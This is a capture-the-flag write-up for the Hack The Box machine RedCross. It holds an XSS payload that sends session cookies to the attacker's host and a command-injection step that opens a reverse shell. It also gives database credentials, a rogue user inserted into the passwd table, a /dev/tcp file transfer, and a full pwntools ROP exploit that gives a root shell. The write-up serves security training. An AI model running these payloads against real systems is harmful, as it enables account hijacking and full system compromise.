RedCross

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.113 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.92 scan initiated Fri Sep 16 15:43:05 2022 as: nmap -sS --min-rate 5000 -n -Pn -p- -oN allPorts 10.10.10.113
Nmap scan report for 10.10.10.113
Host is up (0.13s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

# Nmap done at Fri Sep 16 15:43:32 2022 -- 1 IP address (1 host up) scanned in 27.14 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80,443 10.10.10.113 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.92 scan initiated Fri Sep 16 15:44:16 2022 as: nmap -sCV -p22,80,443 -oN targeted 10.10.10.113
Nmap scan report for 10.10.10.113
Host is up (0.080s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
| ssh-hostkey: 
|   2048 67:d3:85:f8:ee:b8:06:23:59:d7:75:8e:a2:37:d0:a6 (RSA)
|   256 89:b4:65:27:1f:93:72:1a:bc:e3:22:70:90:db:35:96 (ECDSA)
|_  256 66:bd:a1:1c:32:74:32:e2:e6:64:e8:a5:25:1b:4d:67 (ED25519)
80/tcp  open  http     Apache httpd 2.4.25
|_http-title: Did not follow redirect to https://intra.redcross.htb/
|_http-server-header: Apache/2.4.25 (Debian)
443/tcp open  ssl/http Apache httpd 2.4.25
|_http-title: Did not follow redirect to https://intra.redcross.htb/
| ssl-cert: Subject: commonName=intra.redcross.htb/organizationName=Red Cross International/stateOrProvinceName=NY/countryName=US
| Not valid before: 2018-06-03T19:46:58
|_Not valid after:  2021-02-27T19:46:58
|_http-server-header: Apache/2.4.25 (Debian)
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: Host: redcross.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 16 15:44:36 2022 -- 1 IP address (1 host up) scanned in 20.07 seconds

As we can see in the nmap report, the domain name of the website is intra.redcross.htb, let's add it to the /etc/hosts file.

nano /etc/hosts

# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.113    intra.redcross.htb

The website shows a login page for employees and providers.

I found another subdomain name with gobuster called admin.redcross.htb.

gobuster vhost -u https://redcross.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t 100 -k -r

  • vhost enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -k skips TLS certificate verification.

  • -r follow redirects.

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          https://redcross.htb
[+] Method:       GET
[+] Threads:      100
[+] Wordlist:     /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/09/19 17:39:57 Starting gobuster in VHOST enumeration mode
===============================================================
Found: admin.redcross.htb (Status: 421) [Size: 407]
Found: gc._msdcs.redcross.htb (Status: 400) [Size: 426]
                                                       
===============================================================
2022/09/19 17:40:13 Finished
===============================================================

The admin.redcross.htb subdomain shows another login page for authorized personal.

Exploitation

In the Employees & providers portal, there is a message saying that to request credentials I have to contact the staff with a contact form.

Some user will see anything that we submit with the contact form. We could try to send some JavaScript code which will steal their session cookie, and send it to us, so we can become that user. Let's set a simple HTTP server with python.

python -m http.server 80

Now, send the following message with the contact form.

<script>new Image().src="http://10.10.14.8/?c="+document.cookie;</script>

If we send the message, we'll get an error, and we won't be able to send the message. This might be happening because the message field is being validated. But we could try to send the code in another field, such us the contact phone of email field.

This field doesn't validate the user input, and we are able to get the cookies of some user.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.113 - - [19/Sep/2022 18:24:37] "GET /?c=PHPSESSID=q4cntpofjvnpbqn2ndi1le2264;%20LANG=EN_US;%20SINCE=1663604679;%20LIMIT=10;%20DOMAIN=admin HTTP/1.1" 200 -

If I change my cookies with the ones that we got, and refresh the page, we'll see that we're logged as the admin user.

Same thing happens if we change the cookies in the admin.redcross.htb website.

The Network Access tool allow us to add an IP address to a whitelist.

We'll see the IP address in the whitelist.

We could try to exploit a command injection vulnerability. First, set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Let's click on the deny button, and intercept the request with BurpSuite. We can modify the ip parameter, and change it to a command which will send us a reverse shell as the www-data user.

listening on [any] 4444 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.113] 36406
bash: cannot set terminal process group (1219): Inappropriate ioctl for device
bash: no job control in this shell
www-data@redcross:/var/www/html/admin/pages$ whoami
whoami
www-data

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

51 236

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

If we search for the word host in all the files of the current directory, we'll see that there are some connections to a database with some credentials.

grep -r host

cpanel.php:     $mysqli = new mysqli($dbhost, $dbuser, $dbpass, $dbname);
firewall.php:   $dbconn = pg_connect("host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&");
users.php:      $dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixnss password=fios@ew023xnw");
actions.php:    $mysqli = new mysqli($dbhost, $dbuser, $dbpass, $dbname);
actions.php:    $dbconn = pg_connect("host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&");
actions.php:    $dbconn = pg_connect("host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&");
actions.php:    $dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&");
actions.php:    $dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&");

Let's connect to the database.

psql -h 127.0.0.1 -U unixusrmgr unix

  • -h host.

  • -U username.

Password for user unixusrmgr: dheu%7wjx8B&
psql (9.6.7)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

unix=>

There is one table called passwd_table.

unix=> \d

              List of relations
 Schema |     Name     |   Type   |  Owner   
--------+--------------+----------+----------
 public | group_id     | sequence | postgres
 public | group_table  | table    | postgres
 public | passwd_table | table    | postgres
 public | shadow_table | table    | postgres
 public | user_id      | sequence | postgres
 public | usergroups   | table    | postgres
(6 rows)

There is only one entry for the tricia username.

unix=> select * from passwd_table;

 username |               passwd               | uid  | gid  | gecos |    homedir     |   shell   
----------+------------------------------------+------+------+-------+----------------+-----------
 tricia   | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 |       | /var/jail/home | /bin/bash
(1 row)

It looks like we can make new users by inserting them in this table. Let's create a new user with the same UID as the user which have the flag, which is penelope, and her home directory. First, let's create a password hash.

openssl passwd -1 alfa8sa

$1$X7Ho6sSr$i.0ftPGpGPxH5bwn9s8OE1

Now, insert into the passwd_table the new user.

unix=> insert into passwd_table (username, passwd, gid, homedir) values ('alfa8sa', '$1$X7Ho6sSr$i.0ftPGpGPxH5bwn9s8OE1', 1000, '/home/penelope');

Now, we could log is as the alfa8sa user into the machine via SSH, and we'll be able to grab the user flag.

ssh alfa8sa@10.10.10.113

alfa8sa@10.10.10.113's password: alfa8sa
Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
alfa8sa@redcross:~$ whoami
alfa8sa
alfa8sa@redcross:~$ cat user.txt 
bc2eae0784cce382236ea1cb00707d7e

Buffer Overflow

If we search for SUID binaries in the system, we'll see one called iptctl.

find / -perm /4000 2>/dev/null

/opt/iptctl/iptctl
/bin/ping
/bin/fusermount
/bin/umount
/bin/su
/bin/mount
/bin/ntfs-3g
/usr/lib/xorg/Xorg.wrap
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp

We can find its source code in the /var/jail/home/public/src/ directory.

find / -name iptctl 2>/dev/null

/var/jail/home/public/src/iptctl.c
/opt/iptctl
/opt/iptctl/iptctl

The iptctl.c code looks like this.

cat /var/jail/home/public/src/iptctl.c

/*
 * Small utility to manage iptables, easily executable from admin.redcross.htb
 * v0.1 - allow and restrict mode
 * v0.3 - added check method and interactive mode (still testing!)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <unistd.h>
#define BUFFSIZE 360

int isValidIpAddress(char *ipAddress)
{
        struct sockaddr_in sa;
        int result = inet_pton(AF_INET, ipAddress, &(sa.sin_addr));
        return result != 0;
}

int isValidAction(char *action){
        int a=0;
        char value[10];
        strncpy(value,action,9);
        if(strstr(value,"allow")) a=1;
        if(strstr(value,"restrict")) a=2;
        if(strstr(value,"show")) a=3;
        return a;
}

void cmdAR(char **a, char *action, char *ip){
        a[0]="/sbin/iptables";
        a[1]=action;
        a[2]="INPUT";
        a[3]="-p";
        a[4]="all";
        a[5]="-s";
        a[6]=ip;
        a[7]="-j";
        a[8]="ACCEPT";
        a[9]=NULL;
        return;
}

void cmdShow(char **a){
        a[0]="/sbin/iptables" ;
        a[1]="-L";
        a[2]="INPUT";
        return;
}

void interactive(char *ip, char *action, char *name){
        char inputAddress[16];
        char inputAction[10];
        printf("Entering interactive mode\n");
        printf("Action(allow|restrict|show): ");
        fgets(inputAction,BUFFSIZE,stdin);
        fflush(stdin);
        printf("IP address: ");
        fgets(inputAddress,BUFFSIZE,stdin);
        fflush(stdin);
        inputAddress[strlen(inputAddress)-1] = 0;
        if(! isValidAction(inputAction) || ! isValidIpAddress(inputAddress)){
                printf("Usage: %s allow|restrict|show IP\n", name);
                exit(0);
        }
        strcpy(ip, inputAddress);
        strcpy(action, inputAction);
        return;
}

int main(int argc, char *argv[]){
        int isAction=0;
        int isIPAddr=0;
        pid_t child_pid;
        char inputAction[10];
        char inputAddress[16];
        char *args[10];
        char buffer[200];

        if(argc!=3 && argc!=2){
                printf("Usage: %s allow|restrict|show IP_ADDR\n", argv[0]);
                exit(0);
        }
        if(argc==2){
                if(strstr(argv[1],"-i")) interactive(inputAddress, inputAction, argv[0]);
        }
        else{
                strcpy(inputAction, argv[1]);
                strcpy(inputAddress, argv[2]);
        }
        isAction=isValidAction(inputAction);
        isIPAddr=isValidIpAddress(inputAddress);
        if(!isAction || !isIPAddr){
                printf("Usage: %s allow|restrict|show IP\n", argv[0]);
                exit(0);
        }
        puts("DEBUG: All checks passed... Executing iptables");
        if(isAction==1) cmdAR(args,"-A",inputAddress);
        if(isAction==2) cmdAR(args,"-D",inputAddress);
        if(isAction==3) cmdShow(args);

        child_pid=fork();
        if(child_pid==0){
                setuid(0);
                execvp(args[0],args);
                exit(0);
        }
        else{
                if(isAction==1) printf("Network access granted to %s\n",inputAddress);
                if(isAction==2) printf("Network access restricted to %s\n",inputAddress);
                if(isAction==3) puts("ERR: Function not available!\n");
        }
}

The iptctl binary asks for a mode, and an IP address.

./iptctl

Usage: ./iptctl allow|restrict|show IP_ADDR

Let's allow the 1.1.1.1 IP address.

./iptctl allow 1.1.1.1

DEBUG: All checks passed... Executing iptables
Network access granted to 1.1.1.1

But, it seems like the IP address argument is vulnerable to buffer overflow.

./iptctl allow $(python -c "print('A'*500)")

Segmentation fault

As we can see in the source code, there is an interactive mode available, which runs the interactive function.

if(argc==2){
        if(strstr(argv[1],"-i")) interactive(inputAddress, inputAction, argv[0]);
}

Let's transfer the binary to our local machine. Set a netcat listener on port 5555 pointing to iptctl.

nc -lvnp 5555 > iptctl

Then, transfer the binary from the victim machine.

cat < /opt/iptctl/iptctl > /dev/tcp/10.10.14.8/5555

We are ready to exploit the buffer overflow. Let's run the binary with gdb.

gdb ./iptctl

GNU gdb (Debian 12.1-3) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.10
Reading symbols from ./iptctl...
(No debugging symbols found in ./iptctl)

Let's run the binary with the -i argument, and add a bunch of A characters next to allow, so we can crash the program.

gef➤ r -i

Action(allow|restrict|show): allowAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

IP address: 1.1.1.1

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x007fffffffe1ba  →  "allowAAAAA1.1.1.1"
$rbx   : 0x0               
$rcx   : 0x6               
$rdx   : 0x11              
$rsp   : 0x007fffffffe068  →  "AAAAAAAAAAAAAAAAAA\n"
$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x007fffffffe046  →  "allowAAAAA1.1.1.1"
$rdi   : 0x007fffffffe1ba  →  "allowAAAAA1.1.1.1"
$rip   : 0x00000000400b5e  →  <interactive+271> ret 
$r8    : 0x1               
$r9    : 0x4               
$r10   : 0x007ffff7c0ad60  →  0x0e001a00004237 ("7B"?)
$r11   : 0x007ffff7d56970  →  <__strcpy_avx2+0> mov rcx, rsi
$r12   : 0x007fffffffe2e8  →  0x007fffffffe5cc  →  "/home/alfa8sa/HTB/machines/redcross/iptctl"
$r13   : 0x00000000400b5f  →  <main+0> push rbp
$r14   : 0x0               
$r15   : 0x007ffff7ffd020  →  0x007ffff7ffe240  →  0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe068│+0x0000: "AAAAAAAAAAAAAAAAAA\n"         ← $rsp
0x007fffffffe070│+0x0008: "AAAAAAAAAA\n"
0x007fffffffe078│+0x0010: 0x000002000a4141 ("AA\n"?)
0x007fffffffe080│+0x0018: 0x0000000000000000
0x007fffffffe088│+0x0020: 0x0000000000000000
0x007fffffffe090│+0x0028: 0x0000000000000000
0x007fffffffe098│+0x0030: 0x0000000000000000
0x007fffffffe0a0│+0x0038: 0x0000000000001000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400b57 <interactive+264> call   0x4006f0 <strcpy@plt>
     0x400b5c <interactive+269> nop    
     0x400b5d <interactive+270> leave  
 →   0x400b5e <interactive+271> ret    
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "iptctl", stopped 0x400b5e in interactive (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400b5e → interactive()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

We have to find the offset, or number or A characters, to reach the RSP register. To do it, let's create a pattern.

gef➤ pattern create 50

[+] Generating a pattern of 50 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
[+] Saved as '$_gef0'

Now, run the program again, and put the pattern with the allow argument.

gef➤ r -i

Action(allow|restrict|show): allowaaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga

IP address: 1.1.1.1

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x007fffffffe1ba  →  "allowaaaaa1.1.1.1"
$rbx   : 0x0               
$rcx   : 0x6               
$rdx   : 0x11              
$rsp   : 0x007fffffffe068  →  "aaaeaaaaaaafaaaaaaaga\n"
$rbp   : 0x6161616164616161 ("aaadaaaa"?)
$rsi   : 0x007fffffffe046  →  "allowaaaaa1.1.1.1"
$rdi   : 0x007fffffffe1ba  →  "allowaaaaa1.1.1.1"
$rip   : 0x00000000400b5e  →  <interactive+271> ret 
$r8    : 0x1               
$r9    : 0x4               
$r10   : 0x007ffff7c0ad60  →  0x0e001a00004237 ("7B"?)
$r11   : 0x007ffff7d56970  →  <__strcpy_avx2+0> mov rcx, rsi
$r12   : 0x007fffffffe2e8  →  0x007fffffffe5cc  →  "/home/alfa8sa/HTB/machines/redcross/iptctl"
$r13   : 0x00000000400b5f  →  <main+0> push rbp
$r14   : 0x0               
$r15   : 0x007ffff7ffd020  →  0x007ffff7ffe240  →  0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe068│+0x0000: "aaaeaaaaaaafaaaaaaaga\n"      ← $rsp
0x007fffffffe070│+0x0008: "aaafaaaaaaaga\n"
0x007fffffffe078│+0x0010: 0x000a6167616161 ("aaaga\n"?)
0x007fffffffe080│+0x0018: 0x0000000000000000
0x007fffffffe088│+0x0020: 0x0000000000000000
0x007fffffffe090│+0x0028: 0x0000000000000000
0x007fffffffe098│+0x0030: 0x0000000000000000
0x007fffffffe0a0│+0x0038: 0x0000000000001000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400b57 <interactive+264> call   0x4006f0 <strcpy@plt>
     0x400b5c <interactive+269> nop    
     0x400b5d <interactive+270> leave  
 →   0x400b5e <interactive+271> ret    
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "iptctl", stopped 0x400b5e in interactive (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400b5e → interactive()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Now, we can see that the offset is 29 bytes.

gef➤ pattern offset $rsp

[+] Searching for '$rsp'
[+] Found at offset 29 (little-endian search) likely
[+] Found at offset 28 (big-endian search)

Let's print with python a string of 29 A chars, 8 B chars, and 8 C chars.

python -c "print('A'*29+'B'*8+'C'*8)"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

Now, we'll see how the RSP register is full of B and C characters.

gef➤ r -i

Action(allow|restrict|show): allowAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

IP address: 1.1.1.1

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x007fffffffe1ba  →  "allowAAAAA1.1.1.1"
$rbx   : 0x0               
$rcx   : 0x6               
$rdx   : 0x11              
$rsp   : 0x007fffffffe068  →  "BBBBBBBBCCCCCCCC\n"
$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x007fffffffe046  →  "allowAAAAA1.1.1.1"
$rdi   : 0x007fffffffe1ba  →  "allowAAAAA1.1.1.1"
$rip   : 0x00000000400b5e  →  <interactive+271> ret 
$r8    : 0x1               
$r9    : 0x4               
$r10   : 0x007ffff7c0ad60  →  0x0e001a00004237 ("7B"?)
$r11   : 0x007ffff7d56970  →  <__strcpy_avx2+0> mov rcx, rsi
$r12   : 0x007fffffffe2e8  →  0x007fffffffe5cc  →  "/home/alfa8sa/HTB/machines/redcross/iptctl"
$r13   : 0x00000000400b5f  →  <main+0> push rbp
$r14   : 0x0               
$r15   : 0x007ffff7ffd020  →  0x007ffff7ffe240  →  0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe068│+0x0000: "BBBBBBBBCCCCCCCC\n"   ← $rsp
0x007fffffffe070│+0x0008: "CCCCCCCC\n"
0x007fffffffe078│+0x0010: 0x0000020000000a ("\n"?)
0x007fffffffe080│+0x0018: 0x0000000000000000
0x007fffffffe088│+0x0020: 0x0000000000000000
0x007fffffffe090│+0x0028: 0x0000000000000000
0x007fffffffe098│+0x0030: 0x0000000000000000
0x007fffffffe0a0│+0x0038: 0x0000000000001000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400b57 <interactive+264> call   0x4006f0 <strcpy@plt>
     0x400b5c <interactive+269> nop    
     0x400b5d <interactive+270> leave  
 →   0x400b5e <interactive+271> ret    
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "iptctl", stopped 0x400b5e in interactive (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400b5e → interactive()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

If we check the memory protections of the binary, we'll see that only NX is enabled.

gef➤ checksec

[+] checksec for '/home/alfa8sa/HTB/machines/redcross/iptctl'
Canary                        : ✘ 
NX                            : ✓ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial

But, as we can see in the victim machine, ASLR is also enabled, which means that the memory address of the binary is dynamic.

cat /proc/sys/kernel/randomize_va_space

2

As the victim machine is a x64 bytes architecture system, we won't be able to bruteforce the memory address of the binary.

uname -a

Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 GNU/Linux

If we take a look back at the source code of the binary, we'll see the functions setuid(0), and execvp(args[0],args).

...
setuid(0);
execvp(args[0],args);
...

We could give sh as an argument of the execvp function, and a 0 as an argument of the setuid function. This way we could spawn a shell as root. The payload that we have to inject in the RSP register will have to call the setuid function with 0 as an argument, and the execvp with sh and 0 as arguments. In order to use arguments in the functions we said, we'll have to store those arguments in the following registries, ordered from first to last, before using them.

rdi -> rsi -> rdx -> rcx -> r8 -> r9

To run the setuid(0) function, we'll have to find the gadgets pop rdi to load the argument 0 into the RDI registry, and then call the setuid function with its memory address. First, let's find the pop rdi gadget in the binary with ropper.

ropper --file iptctl --search "pop rdi"

[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: iptctl
0x0000000000400de3: pop rdi; ret;

Now, let's find the setuid memory address.

objdump -D iptctl | grep setuid

0000000000400780 <setuid@plt>:
  400780:       ff 25 e2 18 20 00       jmp    *0x2018e2(%rip)        # 602068 <setuid@GLIBC_2.2.5>
  400d00:       e8 7b fa ff ff          call   400780 <setuid@plt>

Then, we'll have to run the execvp('sh',0) function. The method is the same, but now we need to use two arguments, we'll have to load the first argument, which is sh, into the RDI register, and the second one, which is 0, into the RSI register. As we already have the address of pop rdi, let's search the address of sh. To do it, run the program with gef, and execute the following command.

gef➤ grep sh

[+] Searching 'sh' in memory
...
  0x40046e - 0x400470  →   "sh"
...

Now, we'll have to load a 0 into RSI address. The same way we did before, search for pop rsi.

ropper --file iptctl --search "pop rsi"

[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rsi

[INFO] File: iptctl
0x0000000000400de1: pop rsi; pop r15; ret;

Note that the address will run rsi, and then r15. This won't be a problem because we could load another 0 into r15. Finally, we have to find the memory address of the execvp function.

objdump -D iptctl | grep execvp

0000000000400760 <execvp@plt>:
  400760:       ff 25 f2 18 20 00       jmp    *0x2018f2(%rip)        # 602058 <execvp@GLIBC_2.2.5>
  400d13:       e8 48 fa ff ff          call   400760 <execvp@plt>

Now, we have all we need to build the payload that will spawn a shell as root. It will look like this.

payload = junk + pop_rdi + null + setuid_addr + pop_rdi + sh_addr + pop_rsi + null + null + execvp_addr

The idea is to run the program, and expose it through the port 1234. This way, we can connect to the machine on port 1234, send the payload, and get the shell as root. To be able to expose ports, make sure to add our local IP address to the whitelist.

./iptctl allow 10.10.14.8

DEBUG: All checks passed... Executing iptables                                                                                                
Network access granted to 10.10.14.8

Now, expose the program in interactive mode through port 1234 with socat.

socat TCP-LISTEN:1234 EXEC:'/opt/iptctl/iptctl -i'

The following script, will send the payload to the machine to port 1234, and will give us a reverse shell.

#!/usr/bin/python3

from pwn import *
import signal, time

def def_handler(sig, frame):
    print("\n[!] Quiting...\n")
    sys.exit(1)

#Ctrl+C
signal.signal(signal.SIGINT, def_handler)

if __name__ == '__main__':

    junk = b'allow' + b"A" * 29

    # setuid(0); execvp("sh",0); -> rdi, rsi, rdx, rcx, r8, r9

    setuid_addr = p64(0x400780)
    pop_rdi = p64(0x400de3)
    sh_addr = p64(0x40046e)
    pop_rsi = p64(0x400de1)
    null = p64(0x0)
    execvp_addr = p64(0x400760)

    payload = junk + pop_rdi + null + setuid_addr + pop_rdi + sh_addr + pop_rsi + null + null + execvp_addr + b"\n1.1.1.1\n"
    print(payload)

    try:
        p = remote("10.10.10.113", 1234)
        
    except Execption as e:
        log.error(str(e))
    p.sendline(payload)
    p.interactive()

Finally, if we run the script, we will get a shell as root, and then all we have to do is reap the harvest and take the root flag.

python bof.py

b'allowAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe3\r@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x07@\x00\x00\x00\x00\x00\xe3\r@\x00\x00\x00\x00\x00n\x04@\x00\x00\x00\x00\x00\xe1\r@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x07@\x00\x00\x00\x00\x00\n1.1.1.1\n'
[+] Opening connection to 10.10.10.113 on port 1234: Done
[*] Switching to interactive mode
$ whoami
root
$ cat /root/root.txt
e07c44d9866555bf349e60e0d9d3e10e

Last updated

Was this helpful?